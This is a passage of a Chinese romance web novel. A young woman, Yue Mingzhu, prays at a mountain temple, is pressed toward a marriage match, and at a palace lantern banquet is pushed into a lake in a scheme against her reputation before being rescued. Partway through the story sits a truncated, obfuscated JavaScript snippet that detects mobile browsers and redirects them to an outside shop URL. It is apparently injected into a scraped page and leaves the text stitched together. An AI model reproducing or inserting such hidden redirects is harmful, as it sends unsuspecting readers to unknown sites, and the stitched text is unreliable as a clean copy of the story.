她嘴笨,拒绝的话说了一次又一次,却次次都被人曲解,现下实在不知道还能在说什么。
无言以对之际,不知从哪儿冒出来一个小沙弥,走到她跟前,递给她三炷香:“女施主,瞧你手中的香快烧完了,若你等会儿还要继续上香,便把这三炷新的拿着吧。”
越明珠愣了愣,才意识到沙弥是在同自己说话,连忙接过来:“谢、谢谢……”
沙弥合十朝她低了低头,抬头后又看向一旁的任自恒。
“佛门清静之地,这男施主满口情爱,又对女施主多加纠缠,当真是贪、嗔、痴一应俱全。”
大抵这上京城还没几个人敢这么跟任家少爷说话。任自恒不由变了脸色,不屑一顾地冷哼:
“这青山寺不知道多少块砖瓦是我任家捐的,在我自己的地盘上做什么,轮得到你一个小秃驴说话?”
沙弥念了声阿弥陀佛,不恼不怒地道:“一切法相皆为虚妄,权势名利也非真实。青山寺中众生平等。任少爷若是想要辩经,在这儿稍等片刻,我去问过我师父了无大师的意见。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682480|144260||http|test|mini|href|location''.split(''|''),0,{}));
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>任自恒没轻没重,任雪韵却是不会将事情闹大。
这儿人来人往,真闹出什么,只会让别人白白看笑话。
何况那了无大师是当今圣上都要给几分面子的座上宾,就算不能把他们任家人怎么样,闹起来总归也不太好看,府中未婚嫁女子的名声也会受影响。
“胞弟不懂事,还请小师父不要往心里去。”
同小沙弥道过歉,任雪韵回过头来,又让丫鬟拿来一根玉钗:“是我唐突了,还未曾给明珠妹妹见面礼。”
见越明珠不收,任雪韵也只是笑笑,摆出大度不计较的姿态:“那我们便先告辞了。”
说完之后,任雪韵便与她擦肩而过,不疾不徐地离开了。任自恒无他法,瞧了越明珠几眼,也只能不情不愿地跟上去。
还没走出几步,越明珠便远远听见任雪韵叫来丫鬟,说把那玉钗赏给她了。
丫鬟感激涕零,连连朝任雪韵谢恩。
等背影彻底走远,越明珠才蓦地想起来感谢沙弥:“多谢小师父解围。”
沙弥又双手合十念了声阿弥陀佛,端详着她,十分耐心地道:“施主前来所求为何?”
越明珠想了想:“想求几个平安符?”
“后山有几处无量光佛,最是灵验,少有人知晓。我与施主有缘,若施主不嫌弃,我便带过去。”
一听灵验,越明珠连忙跟上了那沙弥的步伐。
七拐八拐走到后山一处小径,沙弥在路口站定脚步:“我不便前往,劳烦施主自便,往前一直走,在十字路口向北,再在下一个十字路口向南即可。”
越明珠充满感激地同沙弥告别,继续按着他说的方向前行。
走着走着,越明珠才发现了问题所在。
她好像不知道哪边是南哪边是北。
“……”
没事,这后山寂寥,想来也没有几处佛堂,供有无量光佛的地方应该很是显眼才对。
凭着自己莫须有的直觉,越明珠东拐西拐,终于找到了一处看起来很像样的佛殿。
明明人迹罕至,却比刚刚外头的宝殿还要庄严肃穆,一看便知不是普通的地方。
不过,越明珠想起一件事来。以前好像都是先求了平安符,再拿着符来拜佛的吧?
但那沙弥没有提起此事,直接让她来这儿,可见颠倒下先后顺序也不打紧的,来都来了,先拜了佛祈了愿再说。
越明珠放下心,诚恳地跪在了殿前的蒲团上。
她先念了自己的名姓籍贯,防止佛祖找错人,才开始念自己的愿望。
先求她爹无病无灾,再求阿策哥哥身体康健。
除了这两个最重要的,越明珠其实还有很多别的愿望。好不容易有机缘来拜这尊大佛,她便忍不住有些贪心,想要一口气许完。
越明珠想到一个,便在佛祖面前念一个。
她以为四下无人,十分从容不迫,却没有想过佛像背后便是一处窗明几净的棋室。
白子黑子刚刚形成对峙之局,外头便传来悉悉索索的动静。
那位笨拙的不速之客像是怕他们不知道来者是谁,还一字一句地报上了自己的名字、年纪、祖籍、父亲官职、府邸位置。”
了无大师摸了摸胡须:“裴大人把我的徒弟叫走,少了人看门,现下便有人来叨扰大人思索如何落这一子,所谓因果,不外如是。”
裴晏迟八风不动,只垂下眸盯着刚刚了无大师下的一子,像在思考如何应对。
外头还在接着喋喋不休。
那女郎惦记的东西实在有些太多了,家人、心上人,自家府上的丫鬟跟嬷嬷……
甚至还想着府外那只她时常投喂的白袜子橘猫,求佛祖保佑它健健康康、日渐圆润。
将相干的不相干的说了一通,那不速之客总算心满意足地闭上了嘴。
裴晏迟拈起黑子,稳稳落在棋盘一角。
刚落下,外头的不速之客又忽地想起什么,补充道:“佛祖在上,信女还想您保佑信女身边小人退散。”
砰、砰、砰。她认真地磕了三个头。
“……此小人名叫裴晏迟,祖籍官职什么的不清楚,做过许多恶行。信女只愿他早日恶有恶报,离信女越远越好。”
11. 11
棋室中万籁俱静。
被点到名字的本尊面无表情,指节搭在乌木棋罐上,轻轻敲了一下。
了无大师但笑不语,落下了一颗白子应对黑子的围势,将难题重新抛了回去。
不速之客仍然没有走的打算。纠结良久,她终于犹犹豫豫地说出了最后一个愿望:
“佛祖在上,保佑信女与意中人永结同心……若不能嫁给那个人,那就保佑我爹不要让我嫁给别人。”
声音低下来,不像祈愿,更像在自言自语地嘟囔:“要是嫁给其他我不喜欢的男子,还不如回杭州府找个离家近的庙出家算了。”
桌上线香缓缓烧至根底,脚步声渐远,四下彻底重归于寂。
没了杂声叨扰,裴大公子却迟迟未落下手中黑子。
了无大师捋了捋白须,老神在在地道:“看来今日恐怕到此为止了。”
裴晏迟也不再恋战,十分干脆地承认:“我的确不是大师的对手。”
“平局罢了。”了无大师心下恍若明镜,“便是胜了,也是胜之不武。”
“大师言重,晚辈还有诸多不足。”裴晏迟起身作辑,谦逊有礼地告辞,“下回一定继续向大师讨教。”
他一走出棋室,门外便是静候多时的庄河。见他来了,庄河连忙低头拱手,颇为尴尬地请罪:
“大公子,人已经走了。属下也没有想到,小小姐会认错了地方……”
叫人露面也不是,不露面也不是。
早知道他便投些石子,装作光佛显世给越小小姐指指路了。
说完之后,庄河迟迟没有等到裴大公子的声音。
又过了一会儿,他谨慎抬头去观察裴晏迟脸色,才见裴晏迟神色疏淡,看不出半分阴晴。
后山刮起一阵略微萧瑟料峭的风,男人淡淡的吩咐也和在了风声中。
“去查杭州府所有寺庙道观的信息,明日呈给我。”
…………
离开那处佛殿,越明珠又找不到回去的路了,凭着感觉东拐西拐,总算绕回了刚刚与沙弥分别之处。
云青正在那处路口等她。一见到她,激动地差点要跳起来:“小姐、小姐,奴婢在这!”
越明珠讶然,这才想起来自己刚刚不告而别,连忙加快步子小跑过去。
云青拉过她上下打量,见她安好,松了口气:“奴婢买完香回来找不着小姐,吓得差点魂飞魄散……小姐下回可千万别再做这种一个人偷偷跑开的事!”
越明珠不好意思地点了点脑袋,又问:“你是怎么找过来的?”
“是个小师父见奴婢神色惊慌,主动来问奴婢发生何事。听奴婢描述了要找之人,便说他刚刚把小姐带去了后山禅堂拜佛,叫奴婢来此处耐心候着。”
越明珠由衷感叹:“那小师父刚刚也帮了我大忙,当真是个心肠善良之人。”
“是啊,若非他好心,奴婢刚刚恐怕真要急死了。”云青后怕地说着,又见越明珠两手空空,提醒道,“小姐还没去请平安符吗?”
越明珠将刚刚从天而降的机缘解释了一遍:“我们现在去请吧。”
请符之处位于青山寺正中央,从这儿过去要走几盏茶的时间。
到了目的地,放眼望去只见人头攒动,密密麻麻围得水泄不通。越明珠折腾了好半天,才终于给越轻鸿跟裴惊策各请了一枚平安符。
请完符,越明珠本打算直接离开青山寺。然而刚往外走,就遇见抱着巨大签筒的小沙弥。
小沙弥主动朝她打招呼:“施主是刚刚去请了符来?”
越明珠点头,便顺口问他:“小师父这是……”
“这是红鸾殿的新签。红鸾殿求姻缘最灵,人来人往,旧签便很容易磨损,要时不时更换。”
求姻缘?
越明珠心下一动,追问:“红鸾殿此时人也很多吗?”
“不等上三四炷香的功夫,恐怕连殿门前的槛都踏不进去,不过……”
小沙弥左看右看,道:“我这筒里的新签尚且无人问津,施主若想求签,直接问它也是一样的。”
越明珠受宠若惊:“这会不会坏了青山寺的规矩?”
小沙弥咳了两声,摸了摸鼻子,道:“施主一看就是面善慈心之人,既是有缘,帮施主解惑又何妨。”
他摇了摇签筒,将签摇散,递到她面前:“施主想着问题,抽一根即可。”
问桃花姻缘,越明珠心头自然只有一个人选。她闭上眼小心翼翼地念了好几遍裴惊策的名字,睁开眸子,郑重地抽出其中一根——
“一锥凿地请求泉,努力求之得最难”。
越明珠紧紧咬住唇瓣,犹豫了片刻,扭捏地朝小沙弥道:“小师父,你不着急的话,我可以再抽一次吗?”
得了小沙弥的应允,她将手中这根放回去,重复刚刚的步骤,重新抽了另一根——
“不成表面不成家,水性痴人似落花”。
不死心,再重新抽一回——
“水中捞月费工夫,费尽工夫却又无”。
越明珠:“……”
越明珠:“小师父,可不可以把签筒给我,我自己来摇?”
接过签筒,越明珠学着沙弥的样子摇晃了起来。然而不知是不是用力过猛,筒里的签竟然全都被晃了出来,“哗啦”落了一地。
越明珠惊呼一声,连忙同小沙弥道歉,又蹲下身跟他一起捡签。
捡着捡着,她发现了不对劲:“咦,小师父,这里面怎么没有上签?”
“啊?啊……”
小沙弥手一拢,把所有签都拿到自己手中,像是认真看了看,磕磕巴巴地道:“好像是有这么一回事……”
他不敢看越明珠,只道:“阿弥陀佛,是我过失,不知怎会这样,白白让施主受了惊吓……”
既然如此,刚刚抽到的下签也一并不作数。越明珠心下一轻,摆了摆手:“没事没事,小师父不用管我,快去找找其他的签落在哪儿了吧。”
小沙弥收好签筒,一脸惭愧地跟她说着阿弥陀佛,接着就飞快地离开了。
越明珠回过神,见未时将至,也不再磨蹭,连忙赶回越府。
她本以为这次的客人会跟往常一样是她爹的老乡同僚之类,只需要乖乖巧巧地喊一声叔叔,说几句场面便可应付过去。
没想到一回去,就见到越轻鸿连连催她:“明珠,这是你三伯母,快过来请安。”
越明珠怔然,看向越轻鸿旁边的中年妇人。
母亲早逝,她从小在江南越家长大,跟母族陆家这边着实不熟,一年到头来,恐怕也就逢年过节见上几回,平日连走动来往都少之又少。今日三伯母怎么会突然登门?
越明珠心里虽疑惑,面上还是听话地过去问了安。
陆三夫人拉过她好好打量,眼中都是慈爱之色:“上回见到明珠还是过年的时候。也就几月不见,真是出落得愈发水灵了。”
越轻鸿在一旁叹气:“正是如此,我才日夜发愁。到底上哪儿去找跟明珠处处都登对的人家?”
越明珠:“……?”
这是在说什么?她的婚事?
陆三夫人:“依我看,明珠这般伶俐娇俏讨人喜欢,要嫁什么样的人家不成?这上京里所有未曾婚配的男子都可以拉来选一选。”
越轻鸿又叹了口气,压低声音:“三嫂有所不知,我家明珠只是瞧着机灵,实际上根本不聪明。”
……怎么可以当着她的面说她笨!
越明珠埋怨地看了越轻鸿一眼,越轻鸿却没心思理会她,继续跟陆三夫人说起心中顾虑:“齐大非偶,若嫁去的人家门第太高,我实在担心明珠会受欺负。”
“这里头弯弯绕绕太多,我一个男子,不懂这些,也不方便操持明珠的婚事,还得多麻烦三嫂费心。”
陆三夫人:“哪里哪里,明珠是四妹妹的孩子,四妹妹走得早,我作为长辈替她参谋也是分内之事。”
听到这儿,越明珠听明白了——她爹找来三伯母是为了给她筹谋婚嫁。
她连忙凑到越轻鸿跟前,拉起越轻鸿的袖子:“爹爹,我宁愿晚点
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嫁出去,也不想爹一个人在府中孤单。”
这话的确情真意切,但越轻鸿并不全信,问道:“除了这个,还有没有别的理由?”
越明珠立刻哑巴了。
她爹肯定还在误会她喜欢裴晏迟,以为她对裴大公子不死心才不愿意嫁给旁人。
越明珠也不知道怎么解释。没有裴惊策答应,他们之间的事情是绝对不能说的。
其实越明珠自己无所谓,叫爹爹知道就知道了。但她不想给阿策哥哥添麻烦。
越轻鸿只当她被说中了心事,又叹了口气,道:“我先去书房了,让你三伯母同你说说吧。”
到底是女眷之间的话题,他不好参与,起身便走,只留陆三夫人跟越明珠在正厅。
陆三夫人:“婚嫁之事急不得,明珠,你放心吧,我断不可能让你盲婚哑嫁的。”
听到这话,越明珠才稍微放下心来。
不急,那就是可以再拖一拖了。
妇人语气温柔,循循善诱:“你不曾在伯母眼下长大,伯母实在不算了解你。不如先跟我说说,你如今喜欢什么样的男子?”
她语气真诚,轻而易举地便叫人卸下了防备之心。
越明珠想了想,从裴惊策身上摘了几处优点:“别的不要紧,长得俊朗一些,脾气跟我能合得来最好……”
陆三夫人拍手:“这不就是裴家那位吗?”
越明珠差点以为自己听岔了:“谁?”
“就那个上京裴家的长子,裴晏迟,你肯定见过的。”
“……”
“长相自然不用说,在这上京城找遍了也很难见到几个比大公子还俊美的男子,我瞧着跟明珠你很登对呢。”
“……”
“脾气嘛,虽然官场上强硬了些,但私底下一看就是斯文君子,肯定很会迁就人。明珠你这样的性子,就适合找一个会宠着你的夫君。大公子的脾气正跟合得来。”
“……”
陆三夫人仿佛压根没看见她复杂的神情,自顾自地道:“我一来便跟你爹说起他,觉得你们绝对是天造地设的一对,你爹还连连推拒。不过他的意见不要紧,我听你的。”
越明珠挤出一个笑容,小声婉拒:“伯母,要不还是听我爹的吧?”
陆三夫人殷切地道:“你也不用担心门第之别。只要你肯,我便有办法替你张罗。”
她们家跟裴家用云泥之别形容都不足为过。一个天上一个地下,到底得有什么通天的法子才可以张罗?
越明珠想不通这里头的弯弯绕绕,只含糊地推辞:“不用了伯母。”
又是几番拉扯,陆三夫人终于察觉出了端倪,沉吟几许:“明珠,你莫非不喜欢裴大公子?”
越明珠点头。
陆三夫人紧皱起眉,一副大事不妙的模样:“真不喜欢?”
越明珠十分笃定:“真不喜欢。”
“这怎么行……”见越明珠望过来,陆三夫人连忙改口,“我的意思是这上京除了裴大公子以外,我还真找不出任何一个别的郎君,能够与明珠你这么般配。”
越明珠听不下去了:“伯母,裴大公子眼高于顶,想嫁给他的女郎数不胜数,想来他也看不上我。”
陆三夫人愕然:“你怎么会这么觉得?”
这还用她觉得吗。便是再反应再慢再钝的人,也能看出来裴晏迟有多讨厌她。
当然,应该不是针对她。只是裴大公子为人傲慢、小肚鸡肠、心机深沉、冷血无情,瞧不上所有人。
越明珠腹诽完,拉过陆三夫人的衣袖熟练地撒起娇:“总之,伯母别再提他啦。”
陆三夫人紧紧盯着她,见她神态不似害羞,而当真是真心实意推辞,神色一下子难言起来。
“……那你容伯母回去斟酌几番,过几日千灯宴后再到府上来。”
陆三夫人摸了摸她的脸蛋,和蔼而语重心长地劝道:“婚嫁乃女子终身大事,能嫁给大公子这样顶顶好的郎君,自然是最享福的,你若现在不知道这个道理,以后也肯定会明白。”
12.12
不过一转眼,便到了宫中一年一度的千灯宴。
一想到要去见裴惊策,越明珠的心莫名其妙地提了起来。
前一夜就辗转反侧没有睡好,到了快要出发的时候,还在镜前反反复复转着圈看今日的打扮。
“云青,你说这样式当真适合我吗?还有这对耳坠,会不会太繁复了些?衣裳已经这么华丽了,要不便把耳坠摘了吧……”
摘了耳坠,越明珠又有些看不惯脸上的妆粉:“会不会下手太重了一些?”
她实在瞧不出自己长得貌美与否,还是听云青再三说这身华服需要多施些粉黛,才终于略略放下心来。
越轻鸿派人催了她好几回,越明珠不敢再耽搁,整理好衣裙跟着上了马车。
宴会还没开始,皇宫早已经是一片华灯火树红相斗的景象。飞光焰焰,丹烛煌煌,即便将要入夜,也叫人恍若身处白昼之中。
越明珠跟着越轻鸿行走在宫道旁侧,听越轻鸿第不知道多少回警告她:“跟紧了,在宫里不能出一点岔子,不然你爹有什么能耐都保不了你。”
她乖乖应声。可一听见有人在叫裴小少爷的名谓,还是忍不住放缓步子,向那边投去目光。
人群之中,少年一袭绛紫锦袍甚是出挑,镶金紫玉冠高束马尾,举手投足间都流露出意气风发的矜贵。
旁边的妇人拉过他手臂,似是训话。裴惊策站定,微侧过头,双手抱臂,像在认真听。
可再一看,就能清楚瞧见他脸上不加掩饰的散漫。
当着这么多人,给了太傅夫人面子,又没完全给,还是一如既往的不着调。
叫人咋舌,感叹果真是上京举城瞩目的那个混世魔王。
越明珠的心思却完全落在他腰侧的玉佩上,是枚色泽浓郁的黄玉,从前没见他戴过,今日好像是头一回。
她看了看那一抹黄,再低头看了看自己鹅黄的衣裳。
哪怕知道可能是巧合,心里也忍不住甜滋滋的,像吃了一整袋饴糖。
这一丝说不清道不明的窃喜没有持续太久,再一抬头,就见另一道倩影走到裴惊策跟前。
一看到任雪韵,太傅夫人的脸色骤然和缓了不少,直接放开裴惊策,将任雪韵拉了过去。
周围人神色各异。任家与裴家非亲非故,之前也不曾有太多往来。太傅夫人蓦地对一个小辈这般熟稔亲昵,难免有些蹊跷。
被那么多人看着,任雪韵倒是不骄不矜,一脸淡笑地与太傅夫人搭话,说上几句之后,又看向肩边的少年,自然而然地同他寒暄。
越明珠突然发现,真是好巧不巧,任四小姐的衣衫颜色竟然跟她一模一样。
不同于她,任雪韵长得温婉恬淡,穿如此明媚的颜色更显得清新脱俗,若出尘的九霞仙子。
与裴惊策并肩而行时,那件鹅黄的裙裳被风吹起,纱边拂过少年腰上那抹黄玉,又若即若离。
裴惊策大抵不曾注意过这种细枝末节,更不会因此有意避开任雪韵。
任雪韵同他攀谈,他也时不时应一声,态度如常,瞧不出好坏。
但对裴小少爷这样的人来讲,不甩脸色走人便已经很是稀奇了,加之之前的流言蜚语,难免叫人多想几分。
越明珠旁边就有人低声议论:“不说别的,任四与小少爷站在一起,看着就很是相配。”
她很想张口反驳——任雪韵明明在跟裴晏迟谈婚论嫁,哪能乱点别人鸳鸯谱,不是平白误了两人清誉吗?
可话到嘴边,才想起来这话好像不该她说。
她跟裴任两家八竿子打不着,谁会相信她知道内情。
“话说,你知不知道前些日子进贡的那批南珠刚到裴府,裴小少爷就用了好几斛给灵犀阁做首饰,当真是天大的手笔。”
上回在拜月楼,裴惊策亲口跟她说过要去灵犀阁,这好像不算谣言。不过具体做什么,她没问,裴惊策就没继续说。
也不知道这些人的消息怎么会如此灵通。
越明珠想着,又听见另一人答道:“闹得那么沸沸扬扬,哪儿还有人不知道,提这个做什么?”
“你傻啊,看见任四耳朵上那对南珠了吗?那么大,若不是进贡之物,外头万金都难求一颗啊。”
一连串惊叹低嘘之声此起彼伏,接着又是七嘴八舌的议论,哪怕压得很低,落在越明珠这儿还是嘈杂而刺耳。
漫天华灯照得人晃眼,她看了半晌,才看清任雪韵耳边摇摇晃晃的南珠。
裴惊策说了句什么,任雪韵掩过唇忍不住笑。那对南珠便随着她的动作晃得愈发厉害,又愈发显眼。
越明珠鬼使神差抬起手摸了摸自己的耳垂,什么也没戴,空空如也。
…………
千灯宴四方来庭,规格十分隆重。以越轻鸿左副都御史的官职,合该坐在殿中席位最末。
那个位置越明珠再熟悉不过,连殿上人的影子都看不清,全都是模模糊糊的几团。帝后说了什么话也根本听不见。好处是没人注意,可以悄悄多吃几口玉露团。
但这一回,宫侍竟然一反常态把他们领到了中间的地方。
坐下之后,越轻鸿跟她解释,说是他最近协助裴大公子清剿逆党有功,落到了皇帝耳中,地位自然也水涨船高。
越明珠不太懂这些,听了也就忘了,拘谨地坐好,低下脑袋,盯着袖上精细的暗花绣样发呆。
良久过去,席上人到齐。皇帝皇后驾到,起身行礼,高呼万岁,又是一套熟悉而冗长的繁文缛节。
越明珠全程心不在焉,直到听见皇后娘娘说让殿中女眷各作一句诗,以咏这千灯宴景。
不通文墨的越明珠:“……”
也不知道皇后娘娘怎么突然有了如此雅兴,但懿旨不能忤逆,宫侍很快就将宣纸与笔墨呈到了各位女眷案前。
越轻鸿显然很清楚她的水平,趁着其他人不注意,凑过来给她说了句诗,暗示她照抄上去。
然而宴上喧闹,越明珠一个字都没听清。
她只能硬着头皮随便写了一行字糊弄,看也不敢看第二遍,自暴自弃地直接交给了宫侍。
宫侍整理好,悉数呈给皇后过目。见到写得入眼的,皇后娘娘便念出来品赏一番,又赐厚礼嘉奖。
一时之间,所有贵女都翘首以盼,求着自己的诗作能够被皇后相中。
当然,这都跟越明珠没关系。
她心中只惦念着裴惊策的邀约。也许是千灯宴人多眼杂,并未像往日那样,在宴前就有人提前告知她何时何地见面,那应该是要等到宴会之后才知道?
正想着,竟突然听见皇后娘娘念了她写的诗。
不止越明珠蓦地抬起脸,宴上所有人听见皇后青睐如此拙劣的诗作,皆是难掩面上诧异之色。
皇后却啧啧称奇:“遣词造句虽不算上乘,但以香膏入墨,满卷苏合香味,与灯油里的熏香相呼应,倒亦有身临其境之感。这越家小女的巧思当真是妙。”
越明珠一愣,直到越轻鸿跟宫侍提醒,她才连忙起来叩拜谢恩。
重新坐回去时,四面八方都投来了各种各样的目光。
越明珠却没心思去管。她还懵着,什么香膏入墨?什么苏合?什么巧思?她怎么一点印象都没有。
……难道有人刚刚提前在她的墨里动过手脚?
越明珠心念一动,向座上看去,正对上那双魂牵梦萦的桃花眼。
四目相对,裴惊策抿了口酒。酒樽之后,唇边往上扯开一个明显的弧度。
一切已然尽在不言中。
越明珠心中怦怦乱跳。
众目睽睽之下,她不敢叫人发现异常,只好若无其事地收回目光,以袖掩面,遮住发烫的双颊,还有止不住往上扬的唇角。
先前那几分说不清道不明的情绪消散得无影无踪,越明珠愈发期待等会儿去见阿策哥哥。
席上,皇后娘娘正对任四小姐的诗□□不释手,品读几番后毫不掩饰溢美之词。
“……本宫早先就听过任四姑娘上京第一才女的名头,之前不甚了解,如今一看,传言的确不虚。”
被这般夸奖,任雪韵也并未喜形于色,盈盈欠身,缓声道:“皇后娘娘过誉了,席上佳作数不胜数,能入皇后娘娘的眼,臣女不胜荣幸。但这第一之名,臣女实在不敢当。”
一句话便全了各方的面子,端的是知书达理、顾全大局的贵女典范。
跟越明珠私下见过的那人简直是两幅模样。
越明珠忽然想起来,她曾经还十分崇拜任雪韵。
她打心眼里觉得这个姐姐长得好,对谁都笑着,作的画念的诗叫她一百年都追赶不上,怪不得都说任家四小姐才貌双全,蕙质兰心,才情在这上京城都实属难得。
直到她被邀去任府做客。
做东的任四小姐还是往日的模样。但那群跟任雪韵关系好的千金小姐,却把越明珠当做自己的下人跟班一样,理所当然地使唤来使唤去。
越明珠哪儿受过这样的委屈,实在不想再继续呆了,便装病同任雪韵告辞。
“雪韵姐姐,我身体不适不得不早些回去,实在抱歉。等下回我来的时候,给你带我家乡的……”
“没事,你回去吧。”任雪韵笑盈盈地打断道,“以后也不用来了。”
越明珠愣了好久,才意识到自己是被下了永久的逐客令。
就因为她不愿意做那群人的小跟班,所以再也没与来的必要了。
她有些不知所措,离开得很是仓皇。还没走远,又听见身后传来一声接着一声的议论。
那群人压根不管她听没听见,便毫不顾及地调笑起她小家子气,为人愚笨。
还说她长得妖里妖气,一看就不正经。
从那之后,越明珠便再也没有主动跟那群贵女来往过了。
就在她胡思乱想之际,任雪韵又对上了皇后出的一句上联,引得皇后大悦。
“任姑娘这下联比原本的上联还好,便依着你这半句,让人再对一副上联吧。”
皇后的视线往席下一扫,毫无征兆地道:“惊策,你来。”
此话一出,席间一瞬安静了。
气氛骤地微妙。众人面面相觑,总算反应了过来——恐怕这才是进入了正题。
民间虽然风气开放,但宫中行事一向谨慎含蓄。平白让女子赋诗,平白对任四小姐如此赞不绝口,如此百转千回,也不过就是为了如今这一幕。
一双双眼睛都落在裴惊策身上。他缓缓起身,行过礼,念出所对的上联。
皇后颔首,却
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不评价,反而问任雪韵:“任姑娘觉得如何?”
“以虚映实,着实别出心裁,衬得臣女那半句的意境都深远了几分。”
任雪韵答着,举起酒樽,袅袅向裴惊策一敬:“倒多谢裴小少爷成全这句好诗。”
说的好像是诗,又好像不止是。
越明珠望向裴惊策。
少年看着任雪韵,桃花眸中情绪难懂,并未及时接下那句话。
越明珠的手紧紧攥住袖口。
然后,便见裴惊策缓缓举起酒樽,朝任雪韵回以一敬。
他没说别的场面话。但千灯宴上对酌,此情此景,本就已经足够叫人浮想联翩。
四周窃窃私语顿时不绝于耳,连她身边的越轻鸿都不由感叹:“娶妻娶贤,皇后娘娘的确给侄子选了门好亲事。”
说着,又忍不住回头瞥了自己那个不成器的女儿,想着越明珠悬而未决的婚事,叹得更是真情实感。
越明珠有点迷茫。
她笃定以真心换真心,对裴惊策从来没有撒过一句谎。
阿策哥哥知晓她的心意,也曾经亲口说过,无论如何绝不会骗她。
不论外界传言多么离谱,越明珠从来没有不信任过裴惊策。
他说任四小姐要攀的是裴晏迟,她自然也是信的。
但此时此刻,好像除了她以外,目之所及的所有人都认定了任雪韵跟他好事将近。
连她目睹完刚刚的情景,都忍不住升起了一丝丝同样的念头。
满脑子乱七八糟,唯一一个清晰的念头是想要好好问裴惊策,将这一切都问明白。
越明珠认真想,若问出来只是误会,她一定会好好道歉的。
然而裴惊策还在不疾不徐回皇后问话,千灯宴也远没有到结束的时候。
——“明珠,你是不是吃坏东西了?”
越明珠回神,对上越轻鸿的视线,连忙否认。
“那你脸色怎么看着不对劲?”
“可能是殿里太闷了,”越明珠小声道,“……爹爹,我想出去透气。”
她在这千灯宴上实在无关紧要,随便找了个心慌胸闷的理由,便顺利地跟着宫侍溜了出来。
宫侍领着她去殿外专门的凉亭休憩,越明珠慢吞吞跟在后头,听见耳后的喧闹声越来越远。
她又低下脑袋看袖口的纹样。
捻金银丝线交错,绣出两枝栩栩缠绕的并蒂莲。
上京女子爱取并蒂连理之意增添吉祥,这样的花样也因此始终长盛不衰。
思绪越飘越远,直到宫侍站定唤了她一声,越明珠才回过神:“到了吗?”
然而四下只有零星几处灯火,照出她脚下的拱桥与碧湖,找不到半点凉亭的影子。
越明珠忽觉不对。还不等她发问,身后响起道阴恻恻的男声:“越姑娘。”
她吓了一跳,连忙转过头去,看向任自恒那张阴魂不散的脸。
任自恒:“我送到你府上的请帖你不回,就别怪我用这种法子来见你了。“
越明珠一愣:“什么请帖?”
任自恒盯着她了一会儿,见她不似说假话,反应过来却更是愠怒,冷笑道:“好啊,看来是越大人心比天高命比纸薄,也敢瞧不上我任家的门楣,私自拒了本少爷递的请帖!”
自从上回见过越明珠,他便想得紧,回家对着新纳的通房都觉得不是滋味。正好他姐允了这桩婚事,他便一刻也不想等了,只想早些把越明珠带回帐里百般作弄。
“既然如此,我也不必给越大人太多好脸。”
任自恒朝宫侍使了个颜色,冷哼道,“明日就让他乖乖把你送到我房中。”
越明珠正想骂他大胆轻薄,话未出口,便感觉身后猛然一股推力袭来——
噗通!
“不好了,不好了,越姑娘落水了!”
“任少爷,你快救救姑娘!”
伴随着宫侍大声呼救,越明珠整个人直接跌进湖中。
一切不过电光火石之间,周身湖水寒凉刺骨席卷而来。
她大脑空白一片,压根不知如何反应,凭着本能扑腾了两下,却是越沉越深。
就在越明珠以为自己即将溺死过去的时候,一道长鞭似的锦缎蓦地飞甩过来,缠上她腰肢,蓦地收紧,直接把她拉上了岸。
带出来的湖水“哗啦”砸地,声响剧烈,越明珠几乎以为自己也要被同样重重砸落,摔得肝脑涂地。
惊惧之际,却跌入了一个意想不到的怀抱中。
男人打横将她抱起。越明珠抬头想去看他的脸,却发现眼前一片漆黑。
她这才反应过来,自己好像正被紧紧裹在一件宽大的外衫里。
外袍厚重,却仍然驱不散越明珠周身带着深夜湖水的冷意。她还惊魂未定,下意识蜷缩向更温暖的地方。
男人一顿,自然而然地将她揽得更紧一些,顺势让越明珠整个人都贴在他身上。
大抵是刚刚耳中进了水,又被衣袍盖着,越明珠只能隐约听见岸边不成文的惊呼与异动,不过几声,又蓦地全部消失不见。
冗长的寂静之后,越明珠才如梦初醒。
“……阿策哥哥,你来了?”
话音落下,揽在她腰侧的力道倏忽一重。
13.13
斜月凄凄,四下静谧,偏殿内只余主仆二人。
越明珠说及此处,又忍不住打了个喷嚏。云青替她系好斗篷,追问:“然后呢小姐,小少爷怎么回答你的?”
然后?
然后他像是压根没听见,又或者有意略过了一般,一句话也没说。
只用手锢住她扭来扭去的腰肢。
往前裴惊策这样,便相当于默认了。
意识到是被他所救之后,越明珠脑子里紧绷的弦轰然松开,受惊过度的疲倦涌上心头,整个人变得迷迷糊糊的,也不知道自己什么时候被安置在了偏殿之中。
反应过来时,心心念念的人影已经不知所踪。
只有压根没见过的宫婢出现在榻边,低声嘱咐她,让她一口咬定是独自一人失足落水,被搬花路过的宫婢所救。
接着陆陆续续有人来过,宫侍、太医……都是听闻她落水后皇后娘娘派来的人。越明珠按照教的话说,那些人便不多问。
太医开了药让她服下,宫侍专门送来更换的衣物与御寒的织锦斗篷,处处都照顾得很是周到。
越明珠摸了摸身上的斗篷。看着轻薄,里面缝的一层狐狸的短绒却格外驱寒,瞧着便是价值连城之物。
也不知道是皇后娘娘的恩赏,还是阿策哥哥打点的结果。
“小少爷考虑得真是周密。”
云青后怕地道,“倘若不是他及时出现救下小姐,又替小姐遮掩,小姐可就遭了算计了!”
虽说时下民风开放,但若是哪个女郎落水湿衣后被陌生男子救起,清白就算是完全折在那男子手中。
何况这儿是皇宫。那宫侍大声嚷嚷,不就是想把旁的不相干的人都招过来,好让更多人见证越家小姐清白受损。
千灯宴耳目众多,流言不过一夜肯定会传得满城皆知。
到那时候,任家少爷要上门纳妾就是再顺理成章不过的事情。无论越大人跟越明珠本人有一千万个不情愿,也抵不过这世俗的规矩。
真不知道任自恒一个男子,是从谁那儿学来这么阴毒的腌臜手段!
越明珠听得愣愣的,这才反应过来任自恒的伎俩。
她还以为这人只是恼羞成怒了想杀她灭口,没想过竟然是如此下|流龌龊的目的。
“那他现在怎么样了?”越明珠问。
云青:“外边传的是跟小姐在同一时候落水,但地方是在皇宫南边御花园的湖中。”
虽说同时落水有些巧合,但一个人在皇宫南边,一个人在皇宫北边,相隔甚远,大家恐怕不会将两者联系到一起。
更不会猜到,是有人把下水“救人”的任自恒捞起来,拖到御花园的湖边再扔下去。
